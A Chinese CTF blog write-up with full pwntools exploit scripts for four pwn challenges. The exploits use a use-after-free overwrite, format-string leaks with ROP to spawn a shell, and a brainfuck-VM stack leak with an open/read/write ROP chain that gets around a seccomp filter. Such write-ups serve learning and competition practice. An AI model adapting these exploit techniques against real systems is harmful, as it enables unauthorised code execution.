周末没啥时间,中午起床之后看了下题,就看了个下午,写了几道吧,队友也都在摸🐟,大家一起摸(隔壁n1ctf pwn也全是零解)

做了点签到,剩下的题就没看了,很久没打ctf了,就当随便练手了= =

pwn2-1

存在UAF,覆盖函数指针即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
#p=process('./pwn2-1')
elf=ELF('./pwn2-1')

p=remote('172.52.56.10',9999)
context.log_level='debug'
def add(size,content):
p.sendlineafter('Your choice :','1')
p.sendlineafter('Note size :',str(size))
p.sendlineafter('Content :',content)
def free(idx):
p.sendlineafter('Your choice :','2')
p.sendlineafter('Index :',str(idx))
def show(idx):
p.sendlineafter('Your choice :','3')
p.sendlineafter('Index :',str(idx))
def exit():
p.sendlineafter('Your choice :','4')

def tips():
p.sendlineafter('Your choice :','5')
#gdb.attach(p,'b *$rebase(0x1237)') # 1237 14b0
tips()
p.recvuntil('0x')
pie_base=int(p.recv(12),16)-0x11f0
success(hex(pie_base))
system=elf.sym['system']+pie_base
magic=pie_base+0x1B70
flag=0x2073+pie_base
pop_rdi_ret=0x0000000000001df3+pie_base
ret=0x000000000000101a+pie_base

for i in range(4):
add(0x10,p64(magic)*2)

for i in range(4):
free(i)

add(0x10,p64(magic)*2)
#gdb.attach(p)

#add(0x10,p64(magic)*2)
#add(0x20,'aaaa')
show(2)
#free(2)

p.interactive()

pwn1

普通的签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context.log_level='debug'
#p=process('./pwn1')
p=remote('172.52.56.27',9999)
#gdb.attach(p)
p.recvuntil('Welcome to mimic world,try something\n')
p.sendline('1')
p.recvuntil('0x')

pie_base=int(p.recv(12),16)-0xa94
print(hex(pie_base))
system=pie_base+0x870
pop_rdi=pie_base+0xc73
binsh=pie_base+0x202068
ret=pie_base+0x0000000000000821
'''
0x0000000000000c6c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000c6e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000c70 : pop r14 ; pop r15 ; ret
0x0000000000000c72 : pop r15 ; ret
0x0000000000000c6b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000c6f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000000930 : pop rbp ; ret
0x0000000000000c73 : pop rdi ; ret
0x0000000000000c71 : pop rsi ; pop r15 ; ret
0x0000000000000c6d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000821 : ret
0x0000000000000400 : ret 0
0x0000000000000862 : ret 0x2017

'''
p.sendline('2')
p.recvuntil('hello\n')

p.sendline('%33$p')
p.recvuntil('0x')
canary=int(p.recv(16),16)
print(hex(canary))

payload=b'a'*0xc8+p64(canary)+p64(0xdeadbeef)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+p64(pop_rdi)
p.sendline(payload)
p.interactive()

pwn1-1

加了点格式化字符串的签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context.log_level='debug'
p=process('./pwn1-1')
#p=remote('172.52.56.149',9999)
gdb.attach(p,'b *$rebase(0x1423)')

p.recvuntil('Welcome to mimic world,try something\n')
p.sendline('1')

p.recvuntil('0x')
pie_base=int(p.recv(12),16)-0x12a0
system=pie_base+0x1040
binsh=pie_base+0x4050
pop_rdi=pie_base+0x0000000000001943
ret=pie_base+0x000000000000101a

'''
0x000000000000193c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000193e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001940 : pop r14 ; pop r15 ; ret
0x0000000000001942 : pop r15 ; ret
0x000000000000193b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000193f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000001163 : pop rbp ; ret
0x0000000000001943 : pop rdi ; ret
0x0000000000001941 : pop rsi ; pop r15 ; ret
0x000000000000193d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000101a : ret
0x0000000000001202 : ret 0x2d
0x0000000000001072 : ret 0x2f
0x00000000000011cd : ret 0xe083
0x00000000000011c7 : ret 0xea83

'''

success(hex(pie_base))

#p.recvuntil('You will find some tricks\n')
p.sendline('2')
sleep(0.5)



p.sendline('%10$p')
p.recvuntil('0x')
rbp=int(p.recv(12),16)-0x50
temp=(rbp-0x11)&0xff
success(hex(rbp))
success(hex(temp))
sleep(0.5)
payload=b'%'+str(temp).encode()+b'c%34$hhn'
payload=payload.ljust(0xd0,b'\x00')
payload+=p64(rbp)
payload+=p64(0)
payload+=p64(rbp-0xf0)+p64(rbp-0x100)+p64(rbp+0x100)
payload+=p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)

p.sendline(payload)


p.interactive()

bfbf

一道其实挺简单的vm pwn题,但做着的时候出现了点问题,getshell 打不通,最后改成orw了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
from pwn import *

#p=process('./pwn')
p=remote('172.52.56.73',9999)
libc=ELF('./libc.so.6')
context.log_level='debug'
'''
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x02 0x00000000 if (A != read) goto 0006
0004: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0005: 0x25 0x01 0x00 0x00000001 if (A > 0x1) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

'''
#gdb.attach(p,'b *$rebase(0x1434)')

p.recvuntil('BF_PARSER>>\n')



'''
0xe3afe
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

'''

'''
switch ( *((_WORD *)&op_addr + 2 * v1) )

// v1== op_index

+ = 3 :++v3[i]
, = 6 :read(0,&v3[i],1)
- = 4 :--v3[i]
. = 5 :write(0,&v3[i],1)
< = 2 :--i
> = 1 : ++i
[ = 7 : if(!v3[i]) v1 = word_4062[2 * v1];

v2 = dword_8460++;
word_8060[v2] = v4; //op_idx
goto LABEL_16;


] = 8 : if(v3[i]) v1 = word_4062[2 * v1];

v5 = word_8060[--dword_8460]; // the op_idx of '['
word_4062[2 * v4] = v5;//op_idx
word_4062[2 * v5] = v4;


loop:
v1++
or
return
'''

payload=b'>'*0x238+b'.>'*7+b'.'+b'<'*7+b'<'*0x28+b'.>'*8+b'<'*8+b',>'*(23*8) # ret
#gdb.attach(p,'b *$rebase(0x17E3)') #17D9 write 1757 jmp rax 17E3 read
#payload=b'>'*0x238+b'.>'*7+b'.'+b'<'*7+b',>'*0x8 # libc main
p.send(payload)

libcbase=b''
for i in range(8):
libcbase+=(p.recv(1))
stack=b''

for i in range(8):
stack+=(p.recv(1))

libc_base=u64(libcbase)-0x24083
pop_rdx_ret=libc_base+0x0000000000142c92
pop_rdi_ret=libc_base+0x0000000000023b6a
pop_rsi_ret=libc_base+0x000000000002601f
myclose=libc_base+libc.sym['close']
myread=libc_base+libc.sym['read']
mywrite=libc_base+libc.sym['write']
myopen=libc_base+libc.sym['open']
onegadget=libc_base+0xe3b01
system=libc_base+libc.sym['system']
ret =libc_base+0x0000000000022679

stack=u64(stack)
success(hex(stack))
success(hex(libc_base))
success(hex(pop_rdi_ret))
#success(hex(onegadget))
#success(hex(system))

success(hex(myclose))
#print(hex(og1))
'''
for i in range(8):
temp=(pop_rdi_ret>>(8*i))&0xff
#success(hex(temp))
p.send(p8(temp))

binsh=libc_base+0x1B45BD
for i in range(8):
temp=(binsh>>(8*i))&0xff
#success(hex(temp))
p.send(p8(temp))

for i in range(8):
temp=(ret>>(8*i))&0xff
#success(hex(temp))
p.send(p8(temp))

for i in range(8):
temp=(system>>(8*i))&0xff
#success(hex(temp))
p.send(p8(temp))

'''
def mwrite(a):
for i in range(8):
temp=(a>>(8*i))&0xff
#print(hex(temp))
p.send(p8(temp))

p.send(b'./flag\x00\x00')
flag_addr=stack-0x20
mwrite(pop_rdi_ret)
mwrite(1)
mwrite(myclose)
mwrite(pop_rdi_ret)
mwrite(flag_addr)
mwrite(pop_rsi_ret)
mwrite(0)
mwrite(myopen)
mwrite(pop_rdi_ret)
mwrite(1)
mwrite(pop_rdx_ret)
mwrite(0x30)
mwrite(pop_rsi_ret)
mwrite(stack-0x60)
mwrite(myread)
mwrite(pop_rdi_ret)
mwrite(2)
mwrite(pop_rsi_ret)
mwrite(stack-0x60)
mwrite(pop_rdx_ret)
mwrite(0x30)
mwrite(mywrite)





#p.sendline(b'cat flag')
#p.close()
p.interactive()

本题的沙箱是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
'''
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x02 0x00000000 if (A != read) goto 0006
0004: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0005: 0x25 0x01 0x00 0x00000001 if (A > 0x1) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

'''

我一开始看到没禁用exec ,想当然的就去getshell了,结果就是onegadget或是system(‘/bin/sh’) 都打不通

还有一个比较神奇的是 在gdb内是可以成功exec shell的

af8d218e0724e37d045bc4890222ad1

d01a8dd846186396b65ba5990bc1d94

c2157f6041d2371fc4fa615cc27ca63

58226cc68b861eb9a465e2f20b7f04f

97baddb643185d9ab5d9ae1294a441c

42a7d4cd6d6a1d887227fda67e5cd83

目前我还不知道原因,作为基本原则,库函数应总是为其打开的文件设置执行时关闭(close-on-exec)标志,故标准输入输出错误应该是会被重新关闭再打开的?

我后面去查阅了execve.c 的源码,确实有一些对文件描述符的处理,

具体的在 /hurd/hurdexec.c 中,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
if (_hurd_dtable != NULL)
{
dtable = __alloca (dtablesize * sizeof (dtable[0]));
ulink_dtable = __alloca (dtablesize * sizeof (ulink_dtable[0]));
dtable_cells = __alloca (dtablesize * sizeof (dtable_cells[0]));
for (i = 0; i < dtablesize; ++i)
{
struct hurd_fd *const d = _hurd_dtable[i];
if (d == NULL)
{
dtable[i] = MACH_PORT_NULL;
continue;
}
__spin_lock (&d->port.lock);
if (d->flags & FD_CLOEXEC)
{
/* This descriptor is marked to be closed on exec.
So don't pass it to the new program. */
dtable[i] = MACH_PORT_NULL;
if (pdp && d->port.port != MACH_PORT_NULL)
{
/* We still need to deallocate the ports. */
*pdp++ = d->port.port;
if (d->ctty.port != MACH_PORT_NULL)
*pdp++ = d->ctty.port;
}
__spin_unlock (&d->port.lock);
}
else
{
if (pdp && d->ctty.port != MACH_PORT_NULL)
/* All the elements of DTABLE are added to PLEASE_DEALLOC
below, so we needn't add the port itself.
But we must deallocate the ctty port as well as
the normal port that got installed in DTABLE[I]. */
*pdp++ = d->ctty.port;
dtable[i] = _hurd_port_locked_get (&d->port, &ulink_dtable[i]);
dtable_cells[i] = &d->port;
}
}
}

带有FD_CLOEXEC 标志的确实是关闭了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
     if (pdp)
{
/* Request the exec server to deallocate some ports from us if
the exec succeeds. The init ports and descriptor ports will
arrive in the new program's exec_startup message. If we
failed to deallocate them, the new program would have
duplicate user references for them. But we cannot deallocate
them ourselves, because we must still have them after a failed
exec call. */

for (i = 0; i < _hurd_nports; ++i)
*pdp++ = ports[i];
for (i = 0; i < dtablesize; ++i)
*pdp++ = dtable[i];
}

但是实在是木有找到是在哪 触发了

1
2
A = fd # read(fd, buf, count)
if (A > 0x1) return KILL

有可能是新起的shell 对 一些文件有读操作? 但是我去翻阅shell.c 源码,一阵头大,毫无头猪 T.T

如果有师傅知道具体是什么原因的话可以写邮件教教,感谢!